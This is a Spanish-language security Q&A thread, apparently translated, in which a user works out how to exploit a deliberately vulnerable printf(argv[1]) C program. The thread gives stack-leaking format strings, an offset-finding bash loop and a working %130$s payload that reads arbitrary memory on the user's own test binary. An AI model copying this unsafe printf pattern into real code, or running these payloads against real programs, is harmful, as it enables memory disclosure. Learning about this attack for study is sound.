Lectura de direcciones arbitrarias en el ataque de cadenas de formato

1

Estoy intentando realizar un ataque de cadena de formato simple en este programa:

#include <stdio.h>

int main(int argc, char *argv[])
{
    printf(argv[1]);
}

No tengo ningún problema en filtrar la pila de la forma habitual al pasar una cadena de formato como esta:

./test "%x %x %x %x"

o con acceso directo a parámetros como este:

./test "%4\$x"

A continuación, estoy tratando de averiguar la ubicación (el parámetro nth) de la cadena de formato en la pila de esta manera:

 for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "AAAAAAAA%$i\$x" 0; done | grep 4141

Una vez que sepa el valor de $i (digamos 134) donde aparece la cadena "AAAA ...", debería poder leer direcciones arbitrarias como esta:

./test $'\xaa\xbb\xcc\xdd%134\$s' 

Supongo que es la forma tradicional de filtrar información a través de un error de cadena de formato (como se describe en El manual de Shellcoder ).

Sin embargo, la cadena de formato que estoy pasando no está bien empaquetada en un parámetro discreto $i th (no tengo una mejor manera de expresarlo). Curiosamente, la mitad está presente en 133 (palabra superior) y la mitad en 134 (palabra inferior). ¿Cómo se supone que debo pasar direcciones arbitrarias como se mencionó anteriormente en esta situación? Supongo que tengo que usar un tipo diferente de formato para obtener la dirección exacta, pero no estoy seguro de cómo proceder.

También, ./test $'\xaa\xbb\xcc\xdd%134$s' , simplemente imprime el equivalente ascii de esos valores hexadecimales. El argumento no funciona exactamente como debe (espero que quede claro en lo que estoy tratando de lograr aquí). ¿Cuál es la forma correcta de pasar estas direcciones?

Si ayuda, estoy en Ubuntu12 i386 y uso Bash.

    
pregunta rhodeo 15.10.2016 - 19:16
fuente

1 respuesta

1

Fue bastante trivial. Modificando un poco el ejemplo anterior,

for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "BBAAAACC%$i\$x" 0; done | grep 4141

la palabra superior de la ubicación 129 se rellena con las B, y la palabra inferior de la ubicación 131 se rellena con las C, con las A bien colocadas en el medio en la ubicación 130. Así que simplemente tuve que pasar la dirección rellenada con Dos bytes extra tanto al principio como al final. También me di cuenta de cómo pasar los valores hexadecimales con printf en bash.

Para verificar que está funcionando, tomé la dirección (0xbffffe2c) de una cadena conocida "HOME = / home / arman" y la pasé como un argumento como este:

./test AA$(printf "\x2c\xfe\xff\xbf")AA%130\$s

Bingo! La cadena se imprime así:

AA,���AAHOME=/home/arman

EDITAR: el relleno al principio no es realmente necesario. Esto funciona perfectamente también:

./test $(printf "\x2c\xfe\xff\xbf")AA%130\$s
,���AAHOME=/home/arman
    
respondido por el rhodeo 16.10.2016 - 10:10
fuente

Lea otras preguntas en las etiquetas